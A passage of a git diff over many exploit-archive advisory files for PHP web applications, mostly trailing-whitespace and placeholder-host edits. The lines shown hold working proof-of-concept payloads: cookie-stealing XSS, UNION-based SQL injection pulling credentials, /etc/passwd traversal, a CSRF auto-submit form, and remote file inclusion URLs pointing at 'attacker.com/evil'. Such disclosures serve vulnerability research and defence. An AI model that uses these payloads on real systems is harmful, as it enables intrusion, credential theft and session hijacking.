-http://www.example.com/path/images.php?date=%3Cscript%3Ealert(XSS)%3C/script%3E \ No newline at end of file +http://www.example.com/path/images.php?date=%3Cscript%3Ealert(XSS)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/3438.txt b/platforms/php/webapps/3438.txt index 495428744..f468f53c8 100755 --- a/platforms/php/webapps/3438.txt +++ b/platforms/php/webapps/3438.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) ---------------------oOO---(_)---OOo--------------------- | Magic CMS v4.2.747 (mysave.php) Remote File Inclusion | diff --git a/platforms/php/webapps/34381.txt b/platforms/php/webapps/34381.txt index a8d7164dd..c0d6c4c02 100755 --- a/platforms/php/webapps/34381.txt +++ b/platforms/php/webapps/34381.txt @@ -38,4 +38,4 @@ Search at the following code "Search this Forum":<foo> <h1> <script> alert (bar) *************************************************** [~#~] Thanks To:Mugair, X-X-X, PoseidonKairos, DexmoD, Micky and all TurkeySecurity Members. - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/34383.txt b/platforms/php/webapps/34383.txt index be192ba1c..d181d68aa 100755 --- a/platforms/php/webapps/34383.txt +++ b/platforms/php/webapps/34383.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Social Media 2.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?view=../../../../../../../../../../../../../../../proc/self/environ%00 \ No newline at end of file +http://www.example.com/index.php?view=../../../../../../../../../../../../../../../proc/self/environ%00 \ No newline at end of file diff --git a/platforms/php/webapps/34386.txt b/platforms/php/webapps/34386.txt index 42c0f3f85..f64a2292f 100755 --- a/platforms/php/webapps/34386.txt +++ b/platforms/php/webapps/34386.txt @@ -9,4 +9,4 @@ Cetera eCommerce 14.0 and previous versions are vulnerable; other versions may a The following example URIs are given: http://www.example.com/cms/templates/banner.php?bannerId=1%20and%20version()=5 -http://www.example.com/cms/templates/bannerlist.php?page=-1 \ No newline at end of file +http://www.example.com/cms/templates/bannerlist.php?page=-1 \ No newline at end of file diff --git a/platforms/php/webapps/34387.txt b/platforms/php/webapps/34387.txt index bc6c41f2e..6b6235078 100755 --- a/platforms/php/webapps/34387.txt +++ b/platforms/php/webapps/34387.txt @@ -18,4 +18,4 @@ http://www.example.com/account/?messageES=s9&messageParam[0]=%3Cscript%3Ealert(d http://www.example.com/cms/index.php?messageES=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/cms/index.php?messageES=s9&messageParam[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/cms/index.php?messageES=s9&messageParam[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34388.txt b/platforms/php/webapps/34388.txt index 6e8b4ea10..970aa63ce 100755 --- a/platforms/php/webapps/34388.txt +++ b/platforms/php/webapps/34388.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SPIP version 2.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/spip.php?page=informer_auteur&var_login[a<script>alert('XSS');</script>a]=aaa \ No newline at end of file +http://www.example.com/spip.php?page=informer_auteur&var_login[a<script>alert('XSS');</script>a]=aaa \ No newline at end of file diff --git a/platforms/php/webapps/34393.txt b/platforms/php/webapps/34393.txt index 7149919cf..d84c554e3 100755 --- a/platforms/php/webapps/34393.txt +++ b/platforms/php/webapps/34393.txt @@ -4,4 +4,4 @@ The 'com_jigsaw' component for Joomla! is prone to a directory-traversal vulnera Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. -http://www.example.com/index.php?option=com_jigsaw&controller=../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_jigsaw&controller=../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/34400.txt b/platforms/php/webapps/34400.txt index 184687542..b5ef9e8f0 100755 --- a/platforms/php/webapps/34400.txt +++ b/platforms/php/webapps/34400.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow RaidenTunes version 2.1.1 is vulnerable; other versions may also be affected. -http://www.example.com/music_out.php?p=29%27%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file +http://www.example.com/music_out.php?p=29%27%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34401.txt b/platforms/php/webapps/34401.txt index 719528cd8..73977ca3c 100755 --- a/platforms/php/webapps/34401.txt +++ b/platforms/php/webapps/34401.txt @@ -4,4 +4,4 @@ PHP168 Template Editor is prone to a directory-traversal vulnerability because i Exploiting the issue may allow an attacker to read and overwrite arbitrary files in the context of the webserver. This may aid in further attacks -http://www.example.com/background catalog/index.php?Lfj =style& job=ditcode&keywords=default& filename =../../ php168/mysql_config.php \ No newline at end of file +http://www.example.com/background catalog/index.php?Lfj =style& job=ditcode&keywords=default& filename =../../ php168/mysql_config.php \ No newline at end of file diff --git a/platforms/php/webapps/34402.txt b/platforms/php/webapps/34402.txt index 7c0018c9a..30e7cb599 100755 --- a/platforms/php/webapps/34402.txt +++ b/platforms/php/webapps/34402.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/nothing,important,our.file.name.html%00 -http://www.example.com/?p=../path.to.our.php.file-nothing-important \ No newline at end of file +http://www.example.com/?p=../path.to.our.php.file-nothing-important \ No newline at end of file diff --git a/platforms/php/webapps/34410.txt b/platforms/php/webapps/34410.txt index 5100ce9da..772183018 100755 --- a/platforms/php/webapps/34410.txt +++ b/platforms/php/webapps/34410.txt @@ -16,4 +16,4 @@ HTML Injection SQL Injection -http://www.example.com/group.php?tname=-%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10%20concat(user,0x3a,pass),11,12,13,14,%20from%20xxxxx%20 ... /* \ No newline at end of file +http://www.example.com/group.php?tname=-%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10%20concat(user,0x3a,pass),11,12,13,14,%20from%20xxxxx%20 ... /* \ No newline at end of file diff --git a/platforms/php/webapps/34417.txt b/platforms/php/webapps/34417.txt index d2b8e9e2a..13bd06cc1 100755 --- a/platforms/php/webapps/34417.txt +++ b/platforms/php/webapps/34417.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Prado Portal 1.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?page=x<img+src%3Dx+onerror%3Dalert(document.cookie)> \ No newline at end of file +http://www.example.com/index.php?page=x<img+src%3Dx+onerror%3Dalert(document.cookie)> \ No newline at end of file diff --git a/platforms/php/webapps/3443.txt b/platforms/php/webapps/3443.txt index d46090971..390dd418a 100755 --- a/platforms/php/webapps/3443.txt +++ b/platforms/php/webapps/3443.txt @@ -161,31 +161,31 @@ edit.php Poc/Exploit: ~~~~~~~~~ -http://server/[PMB_path]/includes/resa_func.inc.php?class_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/bull_info.inc.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options/options_date_box.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options/options_file_box.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options/options_list.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options/options_query_list.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options/options_text.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options_empr/options.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options_empr/options_comment.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options_empr/options_date_box.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options_empr/options_list.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options_empr/options_query_list.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/includes/options_empr/options_text.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/admin/import/iimport_expl.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/admin/netbase/clean.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/admin/notices/perso.inc.php?class_path=http://attacker.com/evil? -http://server/[PMB_path]/admin/quotas/main.inc.php?class_path=http://attacker.com/evil? -http://server/[PMB_path]/admin/param/param_func.inc.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/admin/sauvegarde/lieux.inc.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/opac_css/rec_panier.php?base_path=http://attacker.com/evil? -http://server/[PMB_path]/opac_css/includes/author_see.inc.php?base_path=http://attacker.com/evil? -http://server/[PMB_path]/autorites.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/account.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/cart.php?include_path=http://attacker.com/evil? -http://server/[PMB_path]/edit.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/resa_func.inc.php?class_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/bull_info.inc.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options/options_date_box.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options/options_file_box.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options/options_list.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options/options_query_list.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options/options_text.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options_empr/options.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options_empr/options_comment.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options_empr/options_date_box.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options_empr/options_list.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options_empr/options_query_list.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/includes/options_empr/options_text.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/admin/import/iimport_expl.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/admin/netbase/clean.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/admin/notices/perso.inc.php?class_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/admin/quotas/main.inc.php?class_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/admin/param/param_func.inc.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/admin/sauvegarde/lieux.inc.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/opac_css/rec_panier.php?base_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/opac_css/includes/author_see.inc.php?base_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/autorites.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/account.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/cart.php?include_path=http://attacker.com/evil? +http://www.target.com/[PMB_path]/edit.php?include_path=http://attacker.com/evil? Google Dork : " allinurl:opac_css " or "allinurl:pmb/opac_css" or "PMB opac_css" ~~~~~~ diff --git a/platforms/php/webapps/34433.txt b/platforms/php/webapps/34433.txt index f1ebccc9c..36b1878be 100755 --- a/platforms/php/webapps/34433.txt +++ b/platforms/php/webapps/34433.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Simple Directory Listing 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/simpledirectorylisting/SDL2.php?cwdRelPath= '><script>alert(1)</script> \ No newline at end of file +http://www.example.com/simpledirectorylisting/SDL2.php?cwdRelPath= '><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/34438.txt b/platforms/php/webapps/34438.txt index e6f7265bd..106c3dbd1 100755 --- a/platforms/php/webapps/34438.txt +++ b/platforms/php/webapps/34438.txt @@ -8,4 +8,4 @@ TagCloud version 2.0 is vulnerable; other versions may also be affected. The following example input is available: -'Topic' Field: <script>javascript:alert("lolcats")</script> \ No newline at end of file +'Topic' Field: <script>javascript:alert("lolcats")</script> \ No newline at end of file diff --git a/platforms/php/webapps/34455.txt b/platforms/php/webapps/34455.txt index 95429ad4b..5aebdf615 100755 --- a/platforms/php/webapps/34455.txt +++ b/platforms/php/webapps/34455.txt @@ -5,4 +5,4 @@ Rock Band CMS is prone to multiple SQL-injection vulnerabilities because it fail Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/news.php?year=-2004+UNION+SELECT+1,2,3,4-- -http://www.example.com/news.php?id=-1+UNION+SELECT+1,2,3,4-- \ No newline at end of file +http://www.example.com/news.php?id=-1+UNION+SELECT+1,2,3,4-- \ No newline at end of file diff --git a/platforms/php/webapps/34459.txt b/platforms/php/webapps/34459.txt index bbaef2a50..d62999cac 100755 --- a/platforms/php/webapps/34459.txt +++ b/platforms/php/webapps/34459.txt @@ -6,4 +6,4 @@ An attacker may leverage the issues to execute arbitrary script code in the brow Amiro.CMS 5.4.0 is affected; other versions may be vulnerable as well. -'status_msg' = a: 2: (s: 3: "sys"; a: 0: () s: 5: "plain"; a: 1: (i: 0; a: 2: (s: 3: "msg "; s: 68:" ONsec.ru - XSS test [ALERT] \ "); alert (document.cookie) / / alert ([/ ALERT]"; s: 4: "type"; s: 4: "none ";}}} \ No newline at end of file +'status_msg' = a: 2: (s: 3: "sys"; a: 0: () s: 5: "plain"; a: 1: (i: 0; a: 2: (s: 3: "msg "; s: 68:" ONsec.ru - XSS test [ALERT] \ "); alert (document.cookie) / / alert ([/ ALERT]"; s: 4: "type"; s: 4: "none ";}}} \ No newline at end of file diff --git a/platforms/php/webapps/34464.txt b/platforms/php/webapps/34464.txt index f6e03db68..971a2c2b5 100755 --- a/platforms/php/webapps/34464.txt +++ b/platforms/php/webapps/34464.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc SyntaxCMS 1.3 is vulnerable; prior versions may also be affected. -http://www.example.com/content/general/browse/?x=37&y=15&rows_per_page=10+ANY_SQL+--+&page=2 \ No newline at end of file +http://www.example.com/content/general/browse/?x=37&y=15&rows_per_page=10+ANY_SQL+--+&page=2 \ No newline at end of file diff --git a/platforms/php/webapps/34475.txt b/platforms/php/webapps/34475.txt index 6d296bb06..d8f237767 100755 --- a/platforms/php/webapps/34475.txt +++ b/platforms/php/webapps/34475.txt @@ -4,4 +4,4 @@ The 'com_weblinks' component for Joomla! is prone to an SQL-injection vulnerabil Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/{path}/index.php?option=com_weblinks&view=categories&Itemid=[SQL] \ No newline at end of file +http://www.example.com/{path}/index.php?option=com_weblinks&view=categories&Itemid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34476.txt b/platforms/php/webapps/34476.txt index 080d45ccd..a8ab973dc 100755 --- a/platforms/php/webapps/34476.txt +++ b/platforms/php/webapps/34476.txt @@ -18,4 +18,4 @@ http://www.example.com/admin/settings.php?message=<script>alert(document.cookie) http://www.example.com/admin/changeclothes.php?message=<script>alert(document.cookie);</script> http://www.example.com/admin/settings_theme.php?message=<script>alert(document.cookie);</script> http://www.example.com/admin/themes.php?message=<script>alert(document.cookie);</script> -http://www.example.com/admin/plugins.php?message=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/admin/plugins.php?message=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/34477.txt b/platforms/php/webapps/34477.txt index b44105673..c5f06f637 100755 --- a/platforms/php/webapps/34477.txt +++ b/platforms/php/webapps/34477.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example URI is available: -http://www.example.com/{path}/index.php?option=com_fireboard&Itemid=[SQL] \ No newline at end of file +http://www.example.com/{path}/index.php?option=com_fireboard&Itemid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34484.txt b/platforms/php/webapps/34484.txt index d75757f80..95aee04d9 100755 --- a/platforms/php/webapps/34484.txt +++ b/platforms/php/webapps/34484.txt @@ -8,4 +8,4 @@ http://www.example.com/path/index.php?option=com_dirfrm&task=listAll&catid=[SQL Injection]&id=8&Itemid=32 http://www.example.com/path/index.php?option=com_dirfrm&task=listAll&catid=1&id=[SQL -Injection]&Itemid=32 \ No newline at end of file +Injection]&Itemid=32 \ No newline at end of file diff --git a/platforms/php/webapps/34485.txt b/platforms/php/webapps/34485.txt index c9a7945ee..4f99105e8 100755 --- a/platforms/php/webapps/34485.txt +++ b/platforms/php/webapps/34485.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow FreeSchool 1.1.0 is vulnerable; others may also be affected. -http://www.example.com/biblioteca/index.php?action=bib_searchs&method=searchs&key_words=example%22%27%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file +http://www.example.com/biblioteca/index.php?action=bib_searchs&method=searchs&key_words=example%22%27%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34486.txt b/platforms/php/webapps/34486.txt index a729ceace..739a57b75 100755 --- a/platforms/php/webapps/34486.txt +++ b/platforms/php/webapps/34486.txt @@ -4,4 +4,4 @@ PHPCMS2008 is prone to an information-disclosure vulnerability because it fails An attacker can exploit this issue to download local files in the context of the webserver process. This may allow the attacker to obtain sensitive information; other attacks are also possible. -http://www.example.com/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=127.0.0.1&s=m/&d=1 \ No newline at end of file +http://www.example.com/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=127.0.0.1&s=m/&d=1 \ No newline at end of file diff --git a/platforms/php/webapps/34493.txt b/platforms/php/webapps/34493.txt index f7b633a79..85375be4a 100755 --- a/platforms/php/webapps/34493.txt +++ b/platforms/php/webapps/34493.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()) http://www.example.com/shop.htm?cid=31+and+1=1 -http://www.example.com/shop.htm?cid=31+and+1=100 \ No newline at end of file +http://www.example.com/shop.htm?cid=31+and+1=100 \ No newline at end of file diff --git a/platforms/php/webapps/34503.txt b/platforms/php/webapps/34503.txt index e8e1de14a..92d86d4f7 100755 --- a/platforms/php/webapps/34503.txt +++ b/platforms/php/webapps/34503.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Syntax Highlighter version 3.0.83 is vulnerable; others may also be affected. -Inject the code ">"">>>><script>location="http://www.alkrsan.net"</script>""""> in index.html \ No newline at end of file +Inject the code ">"">>>><script>location="http://www.alkrsan.net"</script>""""> in index.html \ No newline at end of file diff --git a/platforms/php/webapps/34508.txt b/platforms/php/webapps/34508.txt index ca6f8f0b6..177ab8c5b 100755 --- a/platforms/php/webapps/34508.txt +++ b/platforms/php/webapps/34508.txt @@ -10,4 +10,4 @@ username = Sweet'" password = test re password = test email = charif38@hotmail.fr -then register :] \ No newline at end of file +then register :] \ No newline at end of file diff --git a/platforms/php/webapps/34526.pl b/platforms/php/webapps/34526.pl index 6b21f22f5..c075ea5ee 100755 --- a/platforms/php/webapps/34526.pl +++ b/platforms/php/webapps/34526.pl @@ -223,7 +223,7 @@ if($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '' || $ARGV[3] eq '' || $ARGV print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n"; print "Author: D35m0nd142\n\n"; print "Usage: perl exploit.pl <<http://target> <valid username> <valid passwd> <existent group> <userid to hack>\n"; - print "Example: perl exploit.pl http://server myusername mypassword Administrators 1\n\n"; + print "Example: perl exploit.pl http://site.com myusername mypassword Administrators 1\n\n"; exit(1); } diff --git a/platforms/php/webapps/34531.txt b/platforms/php/webapps/34531.txt index 66b2def27..78b8a38e3 100755 --- a/platforms/php/webapps/34531.txt +++ b/platforms/php/webapps/34531.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to BlastChat Client 3.4 are vulnerable. -http://www.example.com/index.php?option=com_blastchatc&Itemid=" onload="alert(/XSS/)" \ No newline at end of file +http://www.example.com/index.php?option=com_blastchatc&Itemid=" onload="alert(/XSS/)" \ No newline at end of file diff --git a/platforms/php/webapps/3454.pl b/platforms/php/webapps/3454.pl index 305196b40..d1915a266 100755 --- a/platforms/php/webapps/3454.pl +++ b/platforms/php/webapps/3454.pl @@ -66,8 +66,8 @@ sub usage() { head(); print " Usage: expl.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to phgstats ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to phgstats ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/34541.txt b/platforms/php/webapps/34541.txt index b57108908..41db8a665 100755 --- a/platforms/php/webapps/34541.txt +++ b/platforms/php/webapps/34541.txt @@ -7,4 +7,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Inject the following data into the vulnerable fields: -<meta http-equiv="refresh" content="0;url=http://www.example.com/" /> \ No newline at end of file +<meta http-equiv="refresh" content="0;url=http://www.example.com/" /> \ No newline at end of file diff --git a/platforms/php/webapps/3455.htm b/platforms/php/webapps/3455.htm index 6a5e7a77c..a5f1a3f36 100755 --- a/platforms/php/webapps/3455.htm +++ b/platforms/php/webapps/3455.htm @@ -30,7 +30,7 @@ document.write('<title>' + tittle + '</title>') document.write('<body bgcolor="#000000">'); document.write('<p><b><font face="Verdana" size="2" color="#008000">' + tittle + '</font></b></p>'); document.write('<form method="post" name="form1" action="http://phplabs.com/demo/jobsitepro/search.php" enctype="multipart/form-data" onSubmit="send();">'); -document.write('<b><font color="#008000"><font face="Verdana" size="1">Target</font><font face="Verdana" size="1">[server/path]:</font></font></b>'); +document.write('<b><font color="#008000"><font face="Verdana" size="1">Target</font><font face="Verdana" size="1">[site.com/path]:</font></font></b>'); document.write('<form method="post" name="form1" action="a" enctype="multipart/form-data">') document.write('&nbsp;&nbsp;&nbsp;') document.write('<input type="text" name="hedef" value="http://" onChange="control();">') diff --git a/platforms/php/webapps/34551.txt b/platforms/php/webapps/34551.txt index c459d9e14..620bb46b4 100755 --- a/platforms/php/webapps/34551.txt +++ b/platforms/php/webapps/34551.txt @@ -37,7 +37,7 @@ Token is delivered as value of GET _k parameter. File to which user is redirecte a) Create subdomain -http://forum.victim_server.your_domain.pl +http://forum.victim_site.com.your_domain.pl b) Then, create file exploit.html with this content: diff --git a/platforms/php/webapps/34560.html b/platforms/php/webapps/34560.html index c3a0952a2..86479c12f 100755 --- a/platforms/php/webapps/34560.html +++ b/platforms/php/webapps/34560.html @@ -4,4 +4,4 @@ ArtGK CMS is prone to a cross-site scripting vulnerability and an HTML-injection Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. -<form action="http://host/cms/action?async=exit" method="post" name="main" > <input type="hidden" name="_a[0][action]" value="saveAndPublish" /> <input type="hidden" name="_a[0][id]" value="1" /> <input type="hidden" name="_a[0][vars][title]" value="page title" /> <input type="hidden" name="_a[0][vars][description]" value="description" /> <input type="hidden" name="_a[0][vars][keywords]" value="metakeys" /> <input type="hidden" name="_a[0][vars][link]" value="/" /> <input type="hidden" name="_a[0][vars][use_content_in_head]" value="path" /> <input type="hidden" name="_a[0][vars][head]" value='<script type="text/javascript" src="/cms/js/ajax.js"> </script><meta name="keywords" content="keywords"/><meta name="description" content="Description"/><script>alert(document.cookie)</script><title>Site Title</title>' /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://host/cms/action?async=exit" method="post" name="main" > <input type="hidden" name="_a[0][action]" value="saveAndPublish" /> <input type="hidden" name="_a[0][id]" value="1" /> <input type="hidden" name="_a[0][vars][title]" value="page title" /> <input type="hidden" name="_a[0][vars][description]" value="description" /> <input type="hidden" name="_a[0][vars][keywords]" value="metakeys" /> <input type="hidden" name="_a[0][vars][link]" value="/" /> <input type="hidden" name="_a[0][vars][use_content_in_head]" value="path" /> <input type="hidden" name="_a[0][vars][head]" value='<script type="text/javascript" src="/cms/js/ajax.js"> </script><meta name="keywords" content="keywords"/><meta name="description" content="Description"/><script>alert(document.cookie)</script><title>Site Title</title>' /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34561.txt b/platforms/php/webapps/34561.txt index 69b302a20..947324dad 100755 --- a/platforms/php/webapps/34561.txt +++ b/platforms/php/webapps/34561.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor KingCMS 0.6.0 is vulnerable; other versions may be affected. -http://www.example.com/[path]/include/engine/content/elements/block.php? CONFIG[AdminPath] =[SHELL] \ No newline at end of file +http://www.example.com/[path]/include/engine/content/elements/block.php? CONFIG[AdminPath] =[SHELL] \ No newline at end of file diff --git a/platforms/php/webapps/34564.txt b/platforms/php/webapps/34564.txt index 0d0ffac02..d9dd7efa4 100755 --- a/platforms/php/webapps/34564.txt +++ b/platforms/php/webapps/34564.txt @@ -4,4 +4,4 @@ CMS WebManager-Pro is prone to an SQL-injection vulnerability because it fails t Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/c.php?id=1%20and%20version()=5 \ No newline at end of file +http://www.example.com/c.php?id=1%20and%20version()=5 \ No newline at end of file diff --git a/platforms/php/webapps/3458.txt b/platforms/php/webapps/3458.txt index 05619cd54..92a136f53 100755 --- a/platforms/php/webapps/3458.txt +++ b/platforms/php/webapps/3458.txt @@ -22,7 +22,7 @@ | |ExploiT: |~~~~~ -|server/[path]/download_pdf.php?pdf_file=../../../../etc/passwd +|wWw.SiTe.cOm/[path]/download_pdf.php?pdf_file=../../../../etc/passwd | |+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= | diff --git a/platforms/php/webapps/34596.txt b/platforms/php/webapps/34596.txt index 6a515dca9..7d867c618 100755 --- a/platforms/php/webapps/34596.txt +++ b/platforms/php/webapps/34596.txt @@ -9,4 +9,4 @@ Pligg CMS 1.0.4 is vulnerable; other versions may also be affected. The following example URIs are available: http://www.example.com//pliggcms_1_0_4/login.php?email=sql'injection&processlogin=3&return=%2fpliggcms_1_0_4%2f -http://www.example.com/pliggcms_1_0_4/user.php?category=%22%20onmouseover%3dprompt%28938687%29%20bad%3d%22&id=&keyword=Search..&login=&module=&page=&search=&view=search \ No newline at end of file +http://www.example.com/pliggcms_1_0_4/user.php?category=%22%20onmouseover%3dprompt%28938687%29%20bad%3d%22&id=&keyword=Search..&login=&module=&page=&search=&view=search \ No newline at end of file diff --git a/platforms/php/webapps/34598.txt b/platforms/php/webapps/34598.txt index fdacc5646..22e44eb88 100755 --- a/platforms/php/webapps/34598.txt +++ b/platforms/php/webapps/34598.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor SZNews 2.7 is vulnerable; other versions may also be affected. -http://www.example.com/path/printnews.php3?id=[shell.txt?] \ No newline at end of file +http://www.example.com/path/printnews.php3?id=[shell.txt?] \ No newline at end of file diff --git a/platforms/php/webapps/34605.txt b/platforms/php/webapps/34605.txt index a255e11f0..98cca8a3a 100755 --- a/platforms/php/webapps/34605.txt +++ b/platforms/php/webapps/34605.txt @@ -8,4 +8,4 @@ This issue affects versions prior to and including Horde 3.3.8. Note that additional products that use the Horde framework may also be vulnerable. -http://www.example.com/util/icon_browser.php?subdir=[xss]&app=horde \ No newline at end of file +http://www.example.com/util/icon_browser.php?subdir=[xss]&app=horde \ No newline at end of file diff --git a/platforms/php/webapps/34606.txt b/platforms/php/webapps/34606.txt index 4fa2f8ca5..8664bd1e2 100755 --- a/platforms/php/webapps/34606.txt +++ b/platforms/php/webapps/34606.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Webformatique Reservation Manager 2.4.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?resman_startdate=[XSS] \ No newline at end of file +http://www.example.com/index.php?resman_startdate=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34607.txt b/platforms/php/webapps/34607.txt index 9c8abe5cf..43f5c5d30 100755 --- a/platforms/php/webapps/34607.txt +++ b/platforms/php/webapps/34607.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to execute malicious code within the TBDev 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/admincp.php?rootpath=(rfi) \ No newline at end of file +http://www.example.com/admincp.php?rootpath=(rfi) \ No newline at end of file diff --git a/platforms/php/webapps/34608.txt b/platforms/php/webapps/34608.txt index 6c49a9451..b4d0ce241 100755 --- a/platforms/php/webapps/34608.txt +++ b/platforms/php/webapps/34608.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor HeffnerCMS 1.22 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?page=lang/interface_en.lng%00 \ No newline at end of file +http://www.example.com/index.php?page=lang/interface_en.lng%00 \ No newline at end of file diff --git a/platforms/php/webapps/34609.txt b/platforms/php/webapps/34609.txt index 593f25f74..23b43e006 100755 --- a/platforms/php/webapps/34609.txt +++ 